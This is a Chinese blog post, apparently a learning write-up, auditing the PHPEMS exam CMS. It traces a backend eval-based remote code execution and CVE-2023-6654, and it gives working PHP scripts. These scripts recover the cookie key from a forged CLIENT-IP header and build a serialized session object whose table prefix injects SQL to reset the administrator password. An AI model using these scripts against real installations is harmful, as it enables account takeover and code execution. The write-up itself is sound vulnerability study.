代码审计初探
学会了基础的代码审计后,就该提高一下了,学一下一些框架的php代码审计
先从一些小众的、已知存在漏洞的cms入手
phpems php的一款开源考试系统
源码下载
https://down.chinaz.com/soft/34597.htm
环境部署
windows审计,把相关文件放到phpstudy的web目录下
给了一个sql文件,mysql创建一个数据库,在sql文件开始部分加上 use 数据库名。然后navicat或者其他图形化,运行所给sql文件,然后修改一下lib/config.inc.php中的关于数据库的设置就部署完毕
访问首页,正常显示就是ok(上面的输出是我自己在源码中加的)
正常调用
如果是做题的话,其实可以直接跳过这步,直接seay扫一下,看看可疑的地方,现在是练习,所以我可以捋一下正常的代码调用流程
以在前台查看内容为例
首先肯定要看web目录下的index.php
![[代码审计学习-4.png]]
包含了/lib/init.cls.php
,lib目录下有很多实现功能的基本类, \PHPEMS\ginko
这个类就在这个php文件里,是这个框架的核心控制器,\PHPEMS
是命名空间,
看看这个类的run方法
public function run() { //static public $defaultApp = 'core';self::$app = self::$defaultApp; $ev = self::make('ev'); if($ev->url(0)) { self::$app = $ev->url(0); } self::$module = $ev->url(1); self::$method = $ev->url(2); //要包含的文件,不指定默认先在/app/index里找 if(!self::$module)self::$module = 'app'; if(!self::$method)self::$method = 'index'; include PEPATH.'/app/'.self::$app.'/'.self::$module.'.php'; $modulefile = PEPATH.'/app/'.self::$app.'/controller/'.self::$method.'.'.self::$module.'.php'; echo "<br>"; echo "要包含的module文件:".$modulefile; // if(file_exists($modulefile)) { include $modulefile; $tpl = self::make('tpl'); //给tpl对象的$tpl_var数组属性赋值 $tpl->assign('_app',self::$app); $tpl->assign('method',self::$method); $run = new action();
// var_dump($run); $run->display(); } else die('error:Unknown app to load, the app is '.self::$app); }
defaultapp就是字符串core
,调用了make('ev')
,看看在干嘛
![[代码审计学习-5.png]]
$app
若有设置,则调用load方法,加载配置文件,
//加载对象类文件并生成对象 /** * @param $G * @param null $app * @return static */ static public function load($G,$app)
{ if(!$app)return false; $o = $G.'_'.$app; //$L是空数组,第一次加载后就放入做为缓存,下次调用就直接从这里取,不用再去包含对应文件if(!isset(self::$L[$app][$o])) { $fl = PEPATH.'/app/'.$app.'/cls/'.$G.'.cls.php'; if(file_exists($fl)) { include $fl; } else return false; $clsname = '\\PHPEMS\\'.$o; self::$L[$app][$o] = new $clsname(); if(method_exists(self::$L[$app][$o],'_init'))self::$L[$app][$o]->_init(); } return self::$L[$app][$o];
}
审计一下可知,会先检查一下缓存数组是否有了对应的类,如有直接返回,没有的话,就会去包含对应的php文件,然后实例化对应的类,有__init
方法就执行次方法
然后再回到make方法,看else分支,是不是跟load很像,
所以这里的逻辑就是如果指定了app,就包含对应的app的目录,没有就去包含lib下的比较基本的类
文件目录
![[代码审计学习-6.png]]
再回到run方法,调用了make('ev')->url(0)
,url在这个类的构造方法中设置了
public function __construct() { $this->strings = \PHPEMS\ginkgo::make('strings'); if (ini_get('magic_quotes_gpc')) { $get = $this->stripSlashes($_REQUEST); $post = $this->stripSlashes($_POST); $this->cookie = $this->stripSlashes($_COOKIE); } else { $get = $_REQUEST; $post = $_POST; $this->cookie = $_COOKIE; } $this->file = $_FILES; $this->get = $this->initData($get); $this->post = $this->initData($post); $this->url = $this->parseUrl(); $this->cookie = $this->initData($this->cookie); }
可以看到,这个ev类就是用来接受并预处理服务器接受到的全局变量,跟进parseUrl方法
public function parseUrl()
{ if(isset($_REQUEST['route'])) { $r = explode('-',$_REQUEST['route']); foreach($r as $key => $p) { $r[$key] = urlencode($p); } } elseif(isset($_SERVER['QUERY_STRING'])) { $tmp = explode('#',$_SERVER['QUERY_STRING'],2); $tp = explode('&',$tmp[0],2); $r = explode('-',$tp[0]); foreach($r as $key => $p) { $r[$key] = urlencode($p); } } else { return false; } if(!$r[0] || !file_exists('app/'.$r[0].'/')) { $r[0] = \PHPEMS\ginkgo::$defaultApp; } if(!file_exists('app/'.$r[0].'/'.$r[1].'.php') || $r[1] == 'auto') { $r[1] = 'app'; } if(!file_exists('app/'.$r[0].'/controller/'.$r[2].'.'.$r[1].'.php')) { $r[2] = 'index'; } if($r[1] == 'app' && $this->isMobile()) { $r[1] = 'phone'; } if(!$r[3])$r[3] = 'index'; if(substr($r[3],0,1) == '_')$r[3] = 'index'; echo "url解析结果:"."<br>"; var_dump($r); echo "\n"; return $r;
}
非常长,前面首页显示的改动就在这里
可以看到这是对$_REQUEST
和$_SERVER['QUERY_STRING']
的处理,前者是包含了get、post、cookie传的变量,后者是url中中的?
后面的部分
对查询参数用# & -
来分割(explode
方法),我只访问了?content,因此得到的三个数组都是只有一个元素content
后面三个file_exist是判断有没有对应的模块,没有则设置成默认的,这里$r
只有一个元素content,因此$r[1] $r[2] $r[3]
都被设置成了默认的选项
再回到run方法,这里就可以包含到对应的文件了
包含了之后,实例化tpl这类,这个类就是用来渲染前端的页面的
所以这个要加载什么类,是通过对查询参数的分割来确定的,然后用tpl渲染对应的前端
漏洞代码
后台rce
后台存在rce的漏洞,seay很快就扫到漏洞点
public function _init()
{ $this->sql = \PHPEMS\ginkgo::make('sql'); $this->pdosql = \PHPEMS\ginkgo::make('pdosql'); $this->db = \PHPEMS\ginkgo::make('pepdo'); $this->tpl = \PHPEMS\ginkgo::make('tpl'); $this->pg = \PHPEMS\ginkgo::make('pg'); $this->ev = \PHPEMS\ginkgo::make('ev'); $this->files = \PHPEMS\ginkgo::make('files'); $this->category = \PHPEMS\ginkgo::make('category'); $this->content = \PHPEMS\ginkgo::make('content','content'); //block$this->block = \PHPEMS\ginkgo::make('block','content'); $this->tpl_var = &$this->tpl->tpl_var;
}public function parseBlock($blockid) { $block = $this->block->getBlockById($blockid); if($block['blocktype'] == 1) { echo html_entity_decode($block['blockcontent']['content']); } elseif($block['blocktype'] == 2) { if($block['blockcontent']['app'] == 'content') { $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']); $blockdata = $this->_getBlockContentList($args); $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template']))); $blockcat = $this->category->getCategoryById($block['blockcontent']['catid']); $blockcatchildren = $this->category->getCategoriesByArgs(array(array("AND","catparent = :catparent",'catparent',$block['blockcontent']['catid']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); } else { $args = array('catid'=>$block['blockcontent']['catid'],'number'=>$block['blockcontent']['number'],'query'=>$block['blockcontent']['query']); $obj = \PHPEMS\ginkgo::make('api',$block['blockcontent']['app']); if(method_exists($obj,'parseBlock')) $blockdata = $obj->parseBlock($args); else return false; } return true; } elseif($block['blocktype'] == 3) { if($block['blockcontent']['sql']) { $sql = array('sql' => str_replace('[TABLEPRE]',DTH,$block['blockcontent']['sql'])); } else { $tables = array_filter(explode(',',$block['blockcontent']['dbtable'])); $querys = array_filter(explode("\n",str_replace("\r","",html_entity_decode($this->ev->stripSlashes($block['blockcontent']['query']))))); $args = array(); foreach($querys as $p) { $a = explode('|',$p); if($a[3]) { if($a[3][0] == '$') { $s = stripos($a[3],'['); $k = substr($a[3],1,$s-1); $v = substr($a[3],$s,(strlen($a[3]) - $s)); $execode = "\$a[3] = \"{\$this->tpl_var['$k']$v}\";"; } else { $k = substr($a[3],2,(strlen($a[3]) - 2)); $execode = "\$a[3] = \"{\$$k}\";"; } eval($execode); } $args[] = $a; } $data = array(false,$tables,$args,false,$block['blockcontent']['order'],$block['blockcontent']['limit']); $sql = $this->pdosql->makeSelect($data); } $blockdata = $this->db->fetchAll($sql,$block['blockcontent']['index']?$block['blockcontent']['index']:false,$block['blockcontent']['serial']?$block['blockcontent']['serial']:false); $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['template']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); return true; } elseif($block['blocktype'] == 4) { $tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content']))); eval(' ?>'.$tp.'<?php namespace PHPEMS; '); } else return false; }
}
parseBlock这个函数,当blocktype为2 3 4时,都有存在eval来执行$tp
,先找$tp
是如何获取的,这里以4为例子分析(偷懒),其他的原理也都差不多,有兴趣的可以自己去分析
前面也提到ev是处理全局变量的,定位stripSlashes
方法
注释中提到了,这个方法用来去除转义字符\
,而html_entity_decode
是php内置函数把 HTML 实体转换为字符
传入的数据是$block['blockcontent']['content']
,block是$this->block->getBlockById
获取的,block是make('block','content')
加载的类
来看看这个make方法
这一次指定了app,所以会调用load方法,看一下
跟上面的正常调用差不多,包含对应的文件,然后生成这个类,这里$o=block_content
,包含了/app/content/cls/block.cls.php
,block_content类应该也在这里了,去看看
确实在这里,同时发现了getBlockById
方法
可以看出,blockcotent是从数据库中取出的,在数据库中也有个x2_block表
blockcontent一看就是序列化的内容,在$this->db->fetch
中,也有反序列化的操作
public function fetch($sql,$unserialize = false) { if(!is_array($sql))return false; if(!$this->linkid)$this->connect(); $query = $this->linkid->prepare($sql['sql']); $rs = $query->execute($sql['v']); $this->_log($sql,$query); if ($rs) { $query->setFetchMode(\PDO::FETCH_ASSOC); $tmp = $query->fetch(); if($tmp) { if($unserialize) { if(is_array($unserialize)) { foreach($unserialize as $value) { $tmp[$value] = unserialize($tmp[$value]); } } else $tmp[$unserialize] = unserialize($tmp[$unserialize]); } } return $tmp;
}
else
return false; }
makeselect就是构造查询的sql语句,有兴趣的可以自己去跟一下
所以这个$tp
的内容就是从数据库中取出的,用id参数查询
再来看,这个在parseBlock
在哪调用, /lib/tpl.cls.php中(管理渲染前端的自定义基本类),
public function exeBlock($id)
{ \PHPEMS\ginkgo::make('api','content')->parseBlock($id);
}
找exeBlock,在渲染前端注册的页面中调用了,
但是这里传入的id是1,由上面的代码可知,1只是echo输出,2,3,4才有eval
很巧的是,/app/content那里翻了一下,在/controller/block.master.php中,有个change方法可以改id
private function change()
{ $blockid = $this->ev->get('blockid'); $blocktype = $this->ev->get('blocktype'); $this->block->modifyBlock($blockid,array('blocktype' => $blocktype)); $message = array( 'statusCode' => 200, "message" => "操作成功", "target" => "", "rel" => "", "callbackType" => "forward", "forwardUrl" => "index.php?content-master-blocks&page={$page}" ); exit(json_encode($message));
}
在这个系统,跟master相关就是后台管理相关的功能了,
在后台的内容管理找到了这个功能
这里改成最下面的模板模式,blockid为4,就会走到上面分析的流程,然后点击修改,插入php代码即可
![[代码审计学习-17.png]]
有个小细节,就是 那个eval中,除了$tp
后面还加上了个<?php namespace PHPEMS;
,那我们构造的php代码中也要在开头声明一个namespace,
php规范中,如果有namespace声明,必须在开头就有一个,否在会报错
然后保存,去前台注册就发现命令执行成功
其实这个rce漏洞要后台才能触发,危害也不是很大,毕竟这个后台还有个增加文件上传后缀的功能,增加个php,直接传shell都行
毕竟正常情况后台都不好进
但是上网搜索过这个框架后,发现这个管理员的密码是可以通过反序列化打sql注入修改的(CVE-2023-6654),就可以直接进后台,这就扩大了危害,
西湖论剑2024也考了这个cve,接下来就分析分析
前台修改管理员密码
触发反序列化
前面我在看正常调用时就发现cookie鉴权这里有反序列化点的,还想找pop链rce来着,但失败了,没想到可以打sql注入
用于会话管理、鉴权的是session类,php文件是/lib/session.cls.php,在构造方法中就调用了getSessionId
,其他模块的构造方法中都会实例化这个类
所以getSessionId
是很容易触发的
public function getSessionId()
{ if(!$this->sessionid) { $cookie = $this->strings->decode($this->ev->getCookie($this->sessionname)); if($cookie) { $this->sessionid = $cookie['sessionid']; } } if(!$this->sessionid) { $this->_getOnlySessionid(); $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp())); } if(!$this->getSessionValue()) { $this->setSessionUser(array("sessionid" => $this->sessionid,'sessionip' => $this->ev->getClientIp())); } return $this->sessionid;
}
getSessionId
这里对cookie中获取的信息,进行解密,然后反序列化
因此cookie中存储的是序列化后的数据
public function decode($info)
{ $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info;
}
反序列化很容易触发,现在要来看怎么造成sql注入
sql注入
全局搜索__destruct
在session类中
public function __destruct()
{ $data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid))); $sql = $this->pdosql->makeUpdate($data); $this->db->exec($sql); if(rand(0,5) > 4) { $data = array('session',array(array('AND',"sessionlasttime <= :sessionlasttime","sessionlasttime",intval((TIME - 3600*24*3))))); $sql = $this->pdosql->makeDelete($data); $this->db->exec($sql); }
}
这里会makeupdate,顾名思义构造一个update的sql语句,然后exec中,跟进makeupdate看看
public function makeUpdate($args,$tablepre = NULL)
{ if(!is_array($args))return false; if($tablepre === NULL)$tb_pre = $this->tablepre; else $tb_pre = $tablepre; $tables = $args[0]; $args[1] = $this->_makeDefaultUpdateArgs($tables,$args[1]); if(is_array($tables)) { $db_tables = array(); foreach($tables as $p) { $db_tables[] = "{$tb_pre}{$p} AS $p"; } $db_tables = implode(',',$db_tables); } else $db_tables = $tb_pre.$tables; $v = array(); $pars = $args[1]; if(!is_array($pars))return false; $parsql = array(); foreach($pars as $key => $value) { $parsql[] = $key.' = '.':'.$key; if(is_array($value))$value = serialize($value); $v[$key] = $value; } $parsql = implode(',',$parsql); $query = $args[2]; if(!is_array($query))$db_query = 1; else { $q = array(); foreach($query as $p) { $q[] = $p[0].' '.$p[1].' '; if(isset($p[2])) $v[$p[2]] = $p[3]; } $db_query = '1 '.implode(' ',$q); } if(isset($args[3])) $db_groups = is_array($args[3])?implode(',',$args[3]):$args[3]; else $db_groups = ''; if(isset($args[4])) $db_orders = is_array($args[4])?implode(',',$args[4]):$args[4]; else $db_orders = ''; if(isset($args[5])) $db_limits = is_array($args[5])?implode(',',$args[5]):$args[5]; else $db_limits = ''; if($db_limits == false && $db_limits !== false)$db_limits = $this->_mostlimits; $db_groups = $db_groups?' GROUP BY '.$db_groups:''; $db_orders = $db_orders?' ORDER BY '.$db_orders:''; $sql = 'UPDATE '.$db_tables.' SET '.$parsql.' WHERE '.$db_query.$db_groups.$db_orders.' LIMIT '.$db_limits; return array('sql' => $sql, 'v' => $v);
}
前面的一长串的构造参数的过程,最后拼接到$sql
这查询语句中,看到直接拼接难道直接有sql注入?其实并没有。上面传进去的参数中
$data = array('session',array('sessionlasttime' => TIME),array(array('AND',"sessionid = :sessionid",'sessionid',$this->sessionid)));
参数使用了sessionid = :sessionid
,这在pdosql中就是预编译的写法,那咋还能注入呢?
非常的巧妙,大佬们找到了其他注入的地方,
在构造表名$db_tables
和类的属性$this->tablepre
直接进行了拼接,这里并没有预编译,如果我们能控制反序列化的过程,那不就可以设置这个属性吗,直接设置为
x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--
拼接进去就是
update x2_user set userpassword="e10adc3949ba59abbe56e057f20f883e" where username="peadmin";#--(其他参数)
这不就把管理员密码改了吗,
本地搭建项目,就可知这个框架的密码加密就是md5,因此这里设置为123456
的md5就行
但是前面也提到了,这个cookie是加密的,反序列化前要经过一次解密操作,我们要把这个加密的逻辑搞清楚才行
逆向cookie加密的key
在/lib/string.cls.php中,查看encode和decode代码
public function encode($info)
{ $info = serialize($info); $key = CS; $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])+ord($key[$p])); } return urlencode($info);
} public function decode($info)
{ $key = CS; $info = urldecode($info); $kl = strlen($key); $il = strlen($info); for($i = 0; $i < $il; $i++) { $p = $i%$kl; $info[$i] = chr(ord($info[$i])-ord($key[$p])); } $info = unserialize($info); return $info;
}
可以看到,加密的逻辑很简单,循环加上key的ascii码再用chr取字符,然后url编码,解密就是循环减,这key的定义在配置文件config.inc.php中
这里也提示了,要生成32位的字符串来替换key,如果能找到已知的连续32位的密文,再减去对应位置的32位明文,key不就出了么
因此要寻找cookie里我们可以控制的变量,从而控制某一部分32位的明文
先要用本地的key解密一下cookie看看,序列化数据结构是什么样,(这个cookie是未登录的cookie)
这里二次url编码的,所以解密时还要再url解码一次
<?php
define('CS','1hqfx6ticwRxtfviTp940vng!yC^QK^6');function encode($info)
{$info = serialize($info);$key = CS;$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode($info);
}function decode($info)
{$key = CS;$info = urldecode($info);$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])-ord($key[$p]));}
// $info = unserialize($info);return $info;
}
$cookie="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2594%2586%2583%25C3%2598%2594%2599%25D5%25CB%25A8%259C%25DA%259F%25C6%25AA%2585%25AD%25D7%259C%25A9%25A2%25B5%25A9r%259Ag%25A6%25D3%259AR%25DF%25A8%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%25A2%258E%2592jfg%25A4%259E%2595Q%25A7t%2580%258C%25BE%2598gg%25A2%2593%25D9%25DD%25A9%25E7%25D2%25D2%25E5%25C6%25E1%25E1%25CB%25E2%25D2%25C1%25D9%25ADVk%25DF%25A8%2598X%25AC%257C%2597%2584%257B%2591jj%25A3%25EE";echo decode(urldecode($cookie));
//a:8:a:3:{s:9:"sessionid";s:32:"658ebc1de0ff6c335c639a99f70e31fe";s:9:"sessionip";s:9:"127.0.0.1";s:16:"sessiontimelimit";i:1739930349;}
可以看到没登陆的cookie数据设置,有sessionid sessionip sessiontimelimit 三个字段,审计一下session类,发现只有第二个sessionip是可以控制伪造的
sessionid 是一堆参数(还包含了随机数)的md5
sessiontimelimit是时间戳,TIME在config.inc.php中定义为time()
sessionip
跟进这个方法
public function getClientIp()
{ if(!isset($this->e['ip'])) { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; $this->e['ip'] = $ip; } return $this->e['ip'];
}
REMOTE_ADDR
是伪造不了的,但是它先检测HTTP_CLIENT_IP
,以HTTP开头都是可以伪造的,在http报文中加入相应的键值对即可,比如HTTP_CLIENT_IP
就构造CLIENT-IP
,可以本地试试,在decode那里加上 echo $info
伪造成功,所以可以通过部分的已知明文来推key,选取序列化中表示sessionip的部分(32位)
由于前后的数据部分长度都是固定的,所以可以通过下标来动态截取满足32位的长度
<?php
function reverse($payload1,$payload2)
{ $il = strlen($payload1); $key= ""; $kl = 32; for($i = 0; $i <$kl; $i++) { $p = $i%$kl; $key .= chr(ord($payload1[$i])-ord($payload2[$p])); } return $key;
}
$info="%2592%25A2%25A4%25A0%25F3%25A9%25AE%25A2%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25D9%259DVk%25E9%25A8%259AS%25B3e%2595%25B4%2581%2596f%2594%25CA%25A7%259F%25ADk%25D8%259B%25C6%25DD%25B8%25D9%25A6%25C9%25AC%259E%2584%25A8%259Af%2596%25D8%25A4%259E%2587%25ACx%2580%258C%25BE%2598ok%258A%25E4%25CB%25EB%25A9%25DD%25D8%25D1%25E0%25C2%259A%25AF%25D9%25B0%259A%2589%25AA%255Bei%25A8%259C%2598W%25B1q%258F%2589%257F%258Cgf%2598%2593%25A1%25EBp%25A5%259F%259D%2599%25C5%25DD%25E7%25D9%25DF%25D8%25C2%25E4%25A2%25A1%2595%25E2%25D7%25D4%258A%25EDe%2599%25BA%2585%258Fmd%25A1%25AA%2599%25AAk%25AA%25A2%259E%25F4";
$info = urldecode($info);
$info = urldecode($info);
$know=':"sessionip";s:15:"192.168.184.1';
//
$info = substr($info,64,32);
echo reverse($info,$know);
成功把本地的key推了出来
把这个框架放到我虚拟机上,改一下key,看能不能推出来,部署过程跟上面一致,也是访问首页拿没登陆的cookie
然后用脚本推key
<?php
function reverse($payload1,$payload2)
{ $il = strlen($payload1); $key= ""; $kl = 32; for($i = 0; $i <$kl; $i++) { $p = $i%$kl; $key .= chr(ord($payload1[$i])-ord($payload2[$p])); } return $key;
}
//利用伪造的ip,来构造已知的明文
function get_know($ip='127.0.0.1')
{ $pre=':"sessionip";s:'; $end='";s:16:"sessiontimelimit";i:'; $pre=$pre.strlen($ip).':"'.$ip; if(strlen($pre)>32) { return substr($pre,0,32); } if (strlen($pre)<32) { $target = $pre . substr($end, 0, 32 - strlen($pre)); return $target; } return $pre; } $info="%2599%259D%2598r%25E1%25AArinT%25D7%25CA%25A4%25A4%25CA%25D5%25CF%259C%2596Vt%25A4sd%2595p%2586q%259Bk%2591%2594m%2594%259E%259E%25CA%2598%259Bff%2596%25C6%2598%2594a%2593%2599%2592%2595kmr%2594ii%2595%2597%259BZ%259D%25A9j%259Dr%2585%25D8%259D%25D9%25AA%25A1%259F%25A2%259B%25D4%2587l%25A4%259B%259F%259BUcfp_i_%2593d%2595Z%259D%25A9j%2595n%259D%2587%25AB%25CB%25AA%25AB%2599%25A3%25A0%25D8%25CE%259E%2596%25CD%25CF%25CE%259C%25A6Vt%259Asb%259Ai%259Dq%2596fa%2597i%259E%25E2";
$info = urldecode($info);
$info = urldecode($info);
$know=get_know();
截取序列化字符串密文中关于sessionip的内容(前开的sessionid长度固定,所以可以直接通过下标截取)
$info = substr($info,64,32);
echo reverse($info,$know);
也是逆出来了
构造恶意序列化数据
然后利用这个key,去构造恶意的序列化数据,看看有什么属性要设置,确保反序列化过程可以走通就行
<?php
namespace PHPEMS;class session
{public function __construct(){$this->sessionid='1';$this->pdosql=new pdosql();$this->db=new pepdo();}
}class pdosql
{public function __construct(){$this->tablepre='x2_user set userpassword="202cb962ac59075b964b07152d234b70" where username="peadmin";#--';$this->db=new pepdo();}}class pepdo
{private $linkid=0;
}
function encode($info)
{$info = serialize($info);$key = '8ce8f78042de11afa3249191c6d8b60d';$kl = strlen($key);$il = strlen($info);for($i = 0; $i < $il; $i++){$p = $i%$kl;$info[$i] = chr(ord($info[$i])+ord($key[$p]));}return urlencode(urlencode($info));
}
$a=new session();
$exp=array("sessionid"=>"123123",$a);
echo "\n";
echo encode(($exp));
管理员密码修改成功
就可以进后台rce了
相关文章:
代码审计初探
学会了基础的代码审计后,就该提高一下了,学一下一些框架的php代码审计 先从一些小众的、已知存在漏洞的cms入手 phpems php的一款开源考试系统 源码下载 https://down.chinaz.com/soft/34597.htm 环境部署 windows审计,把相关文件放到phps…...
2025前端框架最新组件解析与实战技巧:Vue与React的革新之路
作者:飞天大河豚 引言 2025年的前端开发领域,Vue与React依然是开发者最青睐的框架。随着Vue 3的全面普及和React 18的持续优化,两大框架在组件化开发、性能优化、工程化支持等方面均有显著突破。本文将从最新组件特性、使用场景和编码技巧三…...
Eclipse自动排版快捷键“按了没有用”的解决办法
快捷键按了没有用,通常是因为该快捷键方式被其他软件占用了,即别的软件也设置了这个快捷键,导致你按了之后电脑不知道该响应哪个软件。 解决办法:1.将当前软件的这个快捷键改了;2.找到占用的那个软件,把那…...
小型字符级语言模型的改进方向和策略
小型字符级语言模型的改进方向和策略 一、回顾小型字符级语言模型的处理流程 前文我们已经从零开始构建了一个小型字符级语言模型,那么如何改进和完善我们的模型呢?有哪些改进的方向?我们先回顾一下模型的流程: 图1 小型字符级语言模型的处理流程 (1)核心模块交互过程:…...
请简述一下Prefab(预制体)的本质是什么?
在 Unity 中,Prefab(预制体)是一种非常重要的资产类型。 Prefab 本质上是一个可重复使用(开发者可以在场景中多次实例化同一个预制体)的游戏对象模板(预制体就像一个模板,对预制体本身的修改会…...
【开源项目】分布式文本多语言翻译存储平台
分布式文本多语言翻译存储平台 地址: Gitee:https://gitee.com/dreamPointer/zza-translation/blob/master/README.md 一、提供服务 分布式文本翻译服务,长文本翻译支持流式回调(todo)分布式文本多语言翻译结果存储服…...
使用GPU训练模型
1.说明 本地训练模型可以用CPU和GPU,但是GPU的性能比CPU要好得多,所以如果有独立显卡的,尽量还是用GPU来训练模型。 使用GPU需要安装Cuda和Cudnn 2.安装Cuda 安装cuda之前,首先看一下显卡支持的cuda版本,在命…...
DPVS-3: 双臂负载均衡测试
测试拓扑 双臂模式, 使用两个网卡,一个对外,一个对内。 Client host是物理机, RS host都是虚拟机。 LB host是物理机,两个CX5网卡分别在两个子网。 配置文件 用dpvs.conf.sample作为双臂配置文件,其中…...
Spring Security+JWT+Redis实现项目级前后端分离认证授权
1. 整体概述 权限管理包括用户身份认证和授权两部分,简称认证授权。对于需要访问控制到资源,用户首先经过身份认证,认证通过后用户具有该资源的访问权限方可访问。 1.1 认证概述 认证是确认用户身份的过程,确保用户是谁。 1.1.1 …...
马斯克宣布Grok语音模式正式上线:早期测试版本 可能有一些问题
快科技2月23日消息,据报道,马斯克旗下xAI团队近期动作频频,继2月18日直播发布Grok最新版本Grok3后,马斯克又在社交平台X上宣布,Grok语音模式早期测试版现已在Grok应用程序上线,并对其表现给予了高度评价。 …...
P9631 [ICPC 2020 Nanjing R] Just Another Game of Stones Solution
Description 给定序列 a ( a 1 , a 2 , ⋯ , a n ) a(a_1,a_2,\cdots,a_n) a(a1,a2,⋯,an),有 m m m 个操作分两种: chmax ( l , r , k ) \operatorname{chmax}(l,r,k) chmax(l,r,k):对每个 i ∈ [ l , r ] i \in [l,r] i∈[l,…...
请求go构建缓存,go clean -cache
go clean -cache go 构建时会产生很多缓存, 一般是目录:/Users/xxx/Library/Caches/go-build 此目录README: This directory holds cached build artifacts from the Go build system. Run "go clean -cache" if the directory …...
安全面试4
文章目录 给的源码是ThinkPHP框架的话,审计起来和没有使用框架的有什么不同,从流程上或者从关注的点上有什么不同框架代码审计的流程无框架代码审计的流程 反序列的时候,unserialize()反序列一个字符串的时候,对象会有一些魔术方法…...
HTML之JavaScript DOM操作元素(1)
HTML之JavaScript DOM操作元素(1) 3.对元素进行操作1.操作元素的属性 元素名.属性名 ""2.操作元素的样式 元素.style.样式名 "" 样式名 "-" 要进行驼峰转换3.操作元素的文本 元素名.innerText 只识别文本元素名…...
SpringBoot+Vue+微信小程序的猫咖小程序平台(程序+论文+讲解+安装+调试+售后)
感兴趣的可以先收藏起来,还有大家在毕设选题,项目以及论文编写等相关问题都可以给我留言咨询,我会一一回复,希望帮助更多的人。 系统介绍 在当下这个高速发展的时代,网络科技正以令人惊叹的速度不断迭代更新。从 5G …...
【十一】Golang 指针
💢欢迎来到张胤尘的开源技术站 💥开源如江河,汇聚众志成。代码似星辰,照亮行征程。开源精神长,传承永不忘。携手共前行,未来更辉煌💥 文章目录 指针指针定义指针初始化& 操作符new 函数初始…...
“conda”不是内部或外部命令,也不是可运行的程序或批处理文件
有的时候,我们发现在cmd黑框中输入conda时,cmd会显示“conda”不是内部或外部命令,也不是可运行的程序或批处理文件,那这时候该怎么解决呢? Step01:我们找到Anconda的安装目录。然后找到里面的bin文件夹&am…...
通过LM Studio本地私有化部署DeepSeek-R1模型,无网络也能用
打开LM Studio官网https://lmstudio.ai/ 选择适合自己的操作系统,下载LM Studio安装包 本地电脑安装成功后运行LM Studio,顶部文本框输入deepseek,点击搜索模型 在搜索结果中选择7B参数模型, 如上图右侧提示“No result found”说…...
GPU和FPGA的区别
GPU(Graphics Processing Unit,图形处理器)和 FPGA(Field-Programmable Gate Array,现场可编程门阵列)不是同一种硬件。 我的理解是,虽然都可以用于并行计算,但是GPU是纯计算的硬件…...
CMake管理依赖实战:多仓库的无缝集成
随着软件复杂度的增加,单个项目可能需要依赖多个外部库或模块。这些依赖项可能是来自不同的代码仓库,如ATest和BTest。为了实现高效的依赖管理,CMake提供了多种方式来处理这种多仓库的情况。下面我们将详细介绍几种常见的方法,并通…...
Windows系统第一次运行C语言程序,环境配置,软件安装等遇到的坑及解决方法
明确需要编辑器和编译器,并选择自己要用什么(我选的编辑器是VSCode:Visual Studio Code;编译器是gcc)下载VSCode并配置环境变量(这里没啥问题),安装C/C的拓展安装Cygwin,…...
2025最新版!Fiddler抓包实战:深度解析短视频评论采集技术
2025最新版!Fiddler抓包实战:深度解析短视频评论采集技术(脱敏) 声明: 本文仅供学习交流使用,请勿用于非法用途。 导语: 短视频数据采集又有新突破!你是否好奇如何安全、高效地获…...
Linux信号
目录 1. 信号的概念搞定(输出结论,支撑我们的理解) 补充知识 2.信号的产生 补充知识 3.信号的保存 4.阻塞信号 1. 信号其他相关常见概念 2. 在内核中的表示 3. sigset_t 4. 信号集操作函数 sigprocmask sigpending 5. 信号的…...
git,bash - 从一个远端git库只下载一个文件的方法
文章目录 git,bash - 从一个远端git库只下载一个文件的方法概述笔记写一个bash脚本来自动下载get_github_raw_file_from_url.shreanme_file.shfind_key_value.sh执行命令 END git,bash - 从一个远端git库只下载一个文件的方法 概述 github上有很多大佬上传了电子书库…...
深度学习(5)-卷积神经网络
我们将深入理解卷积神经网络的原理,以及它为什么在计算机视觉任务上如此成功。我们先来看一个简单的卷积神经网络示例,它用干对 MNIST数字进行分类。这个任务在第2章用密集连接网络做过,当时的测试精度约为 97.8%。虽然这个卷积神经网络很简单…...
flex布局自定义一行几栏,靠左对齐===grid布局
